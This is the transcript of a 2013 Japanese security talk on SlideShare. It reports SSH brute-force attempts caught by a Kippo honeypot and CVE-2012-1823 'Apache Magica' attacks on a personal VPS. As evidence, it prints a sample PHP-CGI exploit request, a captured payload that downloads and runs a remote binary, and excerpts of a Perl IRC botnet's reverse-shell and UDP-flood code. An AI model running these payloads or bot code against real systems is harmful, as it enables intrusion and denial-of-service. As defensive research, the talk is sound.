Your SlideShare is downloading. ×
さくらのVPSに来る悪い人を観察する その2
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

さくらのVPSに来る悪い人を観察する その2

112,761
views

Published on

さくらのVPSにアタックしてくる人たちを、ハニーポットなど使いながらその行動を観察した記録です。観察日記。 …

さくらのVPSにアタックしてくる人たちを、ハニーポットなど使いながらその行動を観察した記録です。観察日記。

今回のネタは以下2つです。
*SSH honeypot(Kippo)を使った悪い人の行動観察、アンケート
*/cgi-bin/php (Apache Magica攻撃)の観察

なおこのスライドは、2013年12月7日のSecurity Casual Talks(すみだセキュリティ勉強会)での発表資料です。
http://ozuma.sakura.ne.jp/sumida/

またスライド中、動画は以下のURLで閲覧できます
http://youtu.be/gp3SBjZNWHU

Published in: Technology

0 Comments
258 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
112,761
On Slideshare
0
From Embeds
0
Number of Embeds
35
Actions
Shares
0
Downloads
215
Comments
0
Likes
258
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. さくらのVPSに来る悪い人 を観察する その2 Security Casual Talks すみだセキュリティ勉強会その2 2013/12/07 @ozuma5119 2013-11-18 20:12:18 login attempt [root/12345] failed 2013-11-18 20:12:21 login attempt [root/1qazxsw23edc] failed 2013-11-18 20:12:25 login attempt [root/Passw0rd] failed 2013-11-18 20:12:28 login attempt [root/password0] failed 2013-11-18 20:12:32 login attempt [root/password1] failed 176.223.62.254 - - [23/Nov/2013:12:44:01 +0900] "POST /cgibin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63 %6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%6 4%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73% 69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73 %61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+ %2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F %6E%65+%2D%64+%61%75%74%6F%5F さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 1
  • 2. 自己紹介 • @ozuma5119 • ネット企業でセキュリティサービスをやっ ているエンジニア • http://d.hatena.ne.jp/ozuma/ • 科学写真家(と名乗っている) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 2
  • 3. 話すことの概要 • 個人で借りているさくらのVPSにいろいろ 来るので、その攻撃を観察してみた • 悪いことしてる人たちがどうしようとし ているかが、なんとなくかいま見えた。 ので誰かに言いたくなった – ボットネット。 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 3
  • 4. ボットネット? 「ボットネットからの保護」http://www.microsoft.com/ja-jp/security/pc-security/botnet.aspx より引用 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 4
  • 5. きょう、話さないこと • セキュアなプログラミング手法とか • セキュアなサーバ構築の手順とか – そういうのは教科書的なものがいっぱいある ので、まぁここで話さなくてもいいかな、と …… • 教科書 – LPIC Linuxセキュリティ標準教科書(無料) • http://www.lpi.or.jp/linuxtext/security.shtml – IPA 「安全なウェブサイトの作り方」(無料) • https://www.ipa.go.jp/security/vuln/websecurity.html – 徳丸浩「体系的に学ぶ 安全なWebアプリケー ションの作り方」 • http://www.amazon.co.jp/dp/4797361190 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 5
  • 6. こんなん見ました・その1 • SSH (Secure Shell) – 安全にリモートコンピュータと通信するため のプロトコル さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 6
  • 7. こんなん見ました・その1 • なんかVPS(仮想専用サーバ)借りるとsshロ グインがいっぱい来るんですけど。 – SSHブルートフォースの観察 – 侵入した人が打とうとしているコマンド調べ – 日本初!(たぶん世界初)。侵入者にアンケート を取ってみました さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 7
  • 8. sshd • ssh接続のためにsshdを上げていると、世 界中から招かれざる客が来ます さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 8
  • 9. /var/log/secure Aug 19 21:56:35 sshd[4331]: Failed password for root from 1.. Aug 19 21:56:38 sshd[4335]: Failed password for root from 1.. Aug 19 21:56:42 sshd[4339]: Failed password for root from 1.. Aug 19 21:56:47 sshd[4343]: Failed password for root from 1.. Aug 19 21:56:51 sshd[4347]: Failed password for root from 1.. Aug 19 21:56:56 sshd[4351]: Failed password for root from 1.. Aug 19 21:57:00 sshd[4355]: Failed password for root from 1.. Aug 19 21:57:05 sshd[4359]: Failed password for root from 1.. Aug 19 21:57:09 sshd[4363]: Failed password for root from 1.. Aug 19 21:57:12 sshd[4367]: Failed password for root from 1.. Shit! (クソっ たれが!) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 9
  • 10. sshアタック多すぎるので少しデー タ取ってみる • 興味として、どこから、どんなIDやパス ワードが試されているのか知りたい。 – /var/log/secureには、入れられたパスワードは 出ないのでハニーポットソフトを使います さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 10
  • 11. sshアタック多すぎるので少しデー タ取ってみる 2 • 悪い人たちは、ログインできたら次に何 をしようとしているのか知りたい。 – 観察記だし。 • 「悪とは何か?」「正義とは何か?」は難 しいので今はパスします – 妻を人質にとられて、泣く泣くsshアタック している人がいるかもしれない(いないだろ うけど) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 11
  • 12. kippo – SSH Honeypot さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 12
  • 13. kippo – SSH Honeypot • sshdっぽく振る舞ってくれるハニーポット さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 13
  • 14. kippo – SSH Honeypot 2 • ログ取りして観察できる様々な機能 – 入力されたID・パスワード取得 – ダミーユーザはテキストファイルで簡単追加 – 端末で打たれたコマンドは全てログ取得し、 付属アプリで「再生」可能(おもしろ) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 14
  • 15. やられサーバ構成 • さくらのVPS – 49.212.197.88 • sshd – tcp/2222 (kippo) – tcp/20222 (sshd) – tcp/22からtcp/2222 へiptablesでポート フォワード – 10月下旬から11月 30日までのデータ 取得 さくらインターネット公式ブログより引用 http://sakuraha-blog.jp/ さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 15
  • 16. まずはログイン分析 2013-11-21 07:02:31+0900 [SSHService ssh-userauth on HoneyPotTransport,13,218.68.3.136] login attempt [root/root123] failed 2013-11-21 07:02:33+0900 [SSHService ssh-userauth on HoneyPotTransport,14,218.68.3.136] login attempt [root/112233] failed 2013-11-21 07:02:40+0900 [SSHService ssh-userauth on HoneyPotTransport,15,218.68.3.136] login attempt [root/123123] failed 2013-11-21 07:02:45+0900 [SSHService ssh-userauth on HoneyPotTransport,16,218.68.3.136] login attempt [root/zaq1xsw2] failed さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 16
  • 17. ssh狙われるアカウント TOP5 1位 2位 3位 4位 5位 root ftpuser oracle nagios postgresql 65.8% 1.3% 1.1% 0.65% 0.55% 総試行:14646 • rootが絶大な人気。(まだ) oracleも多い • 最近はnagios(サーバ監視ソフト)も目立つ – この辺のアカウントは/sbin/nologinでログイン 不可にしておいていいはず さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 17
  • 18. ssh試されたパスワード TOP5 1位 2位 3位 4位 5位 passwo 1qaz2w p@ssw 123456 111111 rd sx 0rd 0.91% 0.68% 0.45% 0.40% 0.38% 総試行:14646 • まんべんなく試されているので突出した ものはない。 • こういうのを蓄積すれば、「狙われやす いパスワード」が分かってくる さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 18
  • 19. sshソースIPアドレス(国別) 1位 2位 3位 4位 5位 中国 アメリカ メキシコ 韓国 ドイツ 54.6% 13.7% 10.8% 5.8% 4.6% 総試行:14646 • まぁだいたい妥当なランキング • メキシコが多いのは、10/23の1日だけ猛烈 なアタックがあったから…… – 普段は滅多に来ない国です。たまたま。ア ミーゴ。 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 19
  • 20. もっと面白いモノを見る • Kippoには、侵入者がどんなコマンドを 打ったのかログを取り、あとで再生でき る機能があります – キーボード打つ際の、待ち時間なども全てそ のまま再現してくれるのでリアルです • ということでちょっと鑑賞してみましょ う さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 20
  • 21. It's show time! http://youtu.be/gp3SBjZNWHU さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 21
  • 22. ツッコミタイム • 最初にwコマンドは基本 • apt-get install yum が斬新すぎてウケる • そもそもrootじゃないのに何故apt-get installできると思うのか • エディタはnanoじゃなくてvi使おう • Ray.txtはPerlスクリプトなのかPHPスクリ プトなのかどっちだよ さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 22
  • 23. Ray.txt #!/usr/bin/perl ##################################################### ##################################################### ## DDoS Perl IrcBot v1.0 / 2012 by RAYDENNN Security Team ## Stealth MultiFunctional IrcBot writen in Perl ## Teste on every system with PERL instlled ## ## This is a free program used on your own risk. ## Created for educational purpose only. ## I'm not responsible for the illegal use of this program. ##################################################### ## [ Channel ] #################### [ Flood ] ############# ##################################################### ## !u @join <#channel> ## !u @udp1 <ip> <port> < さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) ## !u @part <#channel> ## !u @udp2 <ip> <packet 23
  • 24. 仕掛けようとしていたモノ • eggdrop – IRC bot • Ray.txt – DDoS Perl IRCbot • psyBNC – IRCサーバへのリレー(中継)ソフト • どれもボットネット関係 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 24
  • 25. ssh 侵入者に人気のコマンド • sshハニーポットを立てていると、侵入者 が最初に打つコマンドはダントツで w ※ wって草生やしてるわけじゃないよ、念のため さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 25
  • 26. kippoのwコマンドを差し替え • kippoのソースをいじって、wコマンドで アンケートに協力してよ!と出すことに した srvapl001:/$ w Hi! I conduct a suvey of SSH honeypot. Please give me a hand to collect data. :-) どこの国? 1st question) Where are you from? (China,Russia,Romania,.. etc.): 2nd question) What your nickname? : Thanks! お名前は? さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 26
  • 27. アンケートに回答してくれた人 • 1名いました! • 悪い人とコミュニケーションが取れた! さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 27
  • 28. srvapl001:/$ w Hi! I conduct a suvey of SSH honeypot. Please give me a hand to collect data. :-) 1st question) Where are you from? (China,Russia,Romania,.. etc.): Romania 2nd question) What your nickname? : Romania Thanks! • ルーマニアから来たRomaniaさん – キー入力の反応速度から見て、ちゃんとこの アンケート文を見て答えてくれたようです さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 28
  • 29. こんなん見ました・その1 完 その2に続く さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 29
  • 30. こんなん見ました・その2 • 最近よく見る /cgi-bin/php へのアタック 94.xx.xx.xx - - [20/Nov/2013:11:47:22 +0900] "POST /cgibin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63 %6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%6 4%65%3D%6F%66%66+%2D%64+%73%75%68%6F (省略) %72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6 E%76%3D%30+%2D%6E HTTP/1.1" 500 613 "-" "-" ↓ これ POST /cgi-bin/php?%2D%64+....... みなさん来ていますか? 来ていませんか? さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 30
  • 31. 復習:CGI版PHPの仕組み • Apacheの場合 1. /usr/bin/php-cgi へのシンボリックリンクを、 /var/www/cgi-bin/php に作る 2. .phpファイルにハンドラを設定 3. ハンドラのActionとして/cgi-bin/php を設定 AddHandler php-script .php Action php-script /cgi-bin/php httpd.conf さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 31
  • 32. CGI版PHPの仕組み その2 • サーバ上の.phpファイルがアクセスされ ると、/cgi-bin/php を裏で実行する • ユーザからのアクセスで直接/cgi-bin/php が叩かれることは無い – が、叩くことはできてしまう – 叩いたところでエラーになるだけなので無意 味(だったのだが……) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 32
  • 33. ここでCVE-2012-1823 脆弱性 • 以下のような感じのPOSTを投げつけるだ けで、お好きなPHPスクリプトをサーバ上 で実行させることができる(CGI版PHP) POST /myapp.php?-d allow_url_include=on -d auto_prepend_file=php://input HTTP/1.0 <?php readfile('/etc/passwd'); ?> 参考URL http://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 33
  • 34. CVE-2012-1823脆弱性を利用した新しい攻撃手 法 http://blog.tokumaru.org/2013/11/apache-magica-attack.html さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) より引用 34
  • 35. 魔法少女アパッチ☆マギカ攻撃 はどこが新しくて危険か • 今まで見つかっていたCGI版PHPの脆弱性 は、サーバ上に設置したPHPスクリプトを ターゲットとしていた(例:index.php) – つまりPHPインストールしただけでPHPスク リプトを置いていないサーバは実質無害だっ た – この攻撃は /cgi-bin/php を直接狙うため、PHP をインストールしてるだけで被害を受ける さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 35
  • 36. 全てをURLエンコード(ログ検知避け?) 84.xx.xx.xx - - [14/Nov/2013:09:16:48 +0900] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+ %61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63 %6C%75%64%65%3D%6F%6E+%2D /cgi-bin/php?より後をURLエンコード 85.xx.xx.xx - - [15/Nov/2013:20:21:15 +0900] "POST /cgibin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6 C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D %64+%73%61%66%65 必要最低限だけURLエンコード (COOL!) 192.xx.xx.xx - - [23/Nov/2013:19:15:41 +0900] "GET /cgibin/php?-d+allow_url_include%3Don+d+safe_mode%3Doff+-d+suhosin%2Esimulation%3Don+d+ さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 36
  • 37. Magica攻撃を観察:リクエスト のURL差 • 大きく分けて3パターン (犯行グループごと に違うのか?) 1. 全てをURLエンコード(ログ検知避け?) 2. /cgi-bin/php?より後をURLエンコード 3. 必要最低限だけURLエンコード (COOLだね!) • URLが微妙に違うので単純に/cgi-bin/php だけgrepしてると検知できない さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 37
  • 38. 攻撃を食らうとどうなるのか • POSTボディ部を見れば、何をされそうに なったかはすぐ分かる • ボットを仕込まれ、C&Cサーバに接続 – バックドア付き • いろんなのが降ってきたのだけど、全部 紹介するととても時間足りないので、1つ の事例をかいつまんで紹介します さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 38
  • 39. 150.162.19.45 - - [13/Nov/2013:07:23:27 +0900] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D %(省略)%75%74+%2D%6E HTTP/1.1" 500 602 "-" Host: -c Content-Type: application/x-www-form-urlencoded Content-Length: 136 <? system("cd /tmp ; wget 207.56.197.8/lol ; curl -O 207.56.197.8/lol; fetch 207.56.197.8/lol ; chmod +x lol ; ./lol ; rm -rf lol "); ?> 150.162.19.45 Universidade Federal de Santa Catarina(ブラ ジル) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 39
  • 40. リクエストBODY <? system("cd /tmp ; wget 207.56.197.8/lol ; curl -O 207.56.197.8/lol; fetch 207.56.197.8/lol ; chmod +x lol ; ./lol ; rm -rf lol "); ?> 207.56.197.8 NTT America, Inc.(US) lolというプログラムを実行するようだ。 (lolとはスラングで、日本語に訳せば「ワロスww」 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 40
  • 41. lolスクリプトの動作 • 試しにwgetしてみて中を見てみた • Perl製のShellBOTという名前(そう書いてあ る) • IRCでC&Cサーバに接続して、 – 命令を受けてポートスキャンしたり – 命令を受けてDoS攻撃をしたり – バックドアを開いたり さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 41
  • 42. #!/usr/bin/perl # # ShellBOT by: devil__ # Greetz: Puna, Kelserific # # Comandos: # @oldpack <ip> <bytes> <tempo>; # @udp <ip> <porta> <tempo>; # @fullportscan <ip> <porta inicial> <porta final>; # @conback <ip> <porta> # @download <url> <arquivo a ser salvo>; # !estatisticas <on/off>; # !sair para finalizar o bot; # !novonick para trocar o nick do bot por um novo aleatorio; # !entra <canal> <tempo> # !sai <canal> <tempo>; # !pacotes <on/off> # @info さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 42
  • 43. lolスクリプトの中身 $servidor='suoraphp.upol.cz' unless $servidor; my $porta='3303'; my @canais=("#aiurea"); my @adms=("w","r"); • C&Cサーバは .cz :チェコ共和国 • 最近、ルーマニアとか東欧の悪い人たち の活動が活発です(いろいろと。状況証 拠しかまだ無いんだけど……) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 43
  • 44. lolスクリプトの中身2 ポートスキャン if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1"; my @portas=("21","22","23","25","53","59","79","80","110" ,"113","135","139","443","445","1025","5000","6660"," 6661","6662","6663","6665","6666","6667","6668","66 69","7000","8080","8018"); my (@aberta, %porta_banner); foreach my $porta (@portas) { my $scansock = IO::Socket::INET->new さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 44
  • 45. lolスクリプトの中身3 バックドア elsif ($funcarg =~ /^conbacks+(.*)s+(d+)/) { ... (省略) ... my $shell = "/bin/sh -i"; if ($^O eq "MSWin32") { $shell = "cmd.exe"; } • Windows/UNIX両対応です さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 45
  • 46. lolスクリプトの中身4 DoS攻撃 elsif ($funcarg =~ /^udps+(.*)s+(d+)s+(d+)/) { ... (省略) ... while (($pacota == "1")) { $pacota = 0 if ((time >= $fim) && ($tempo != "0")); $pacote=$rand x $rand x $rand; $porta = int(rand 65000) +1 if ($porta == "0"); send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) an $pacotese++; • Windows/UNIX両対応 } さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 46
  • 47. C&Cサーバの中 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 47
  • 48. さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 48
  • 49. すみだセキュリティ勉強会 http://ozuma.sakura.ne.jp/sumida/ さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 49

×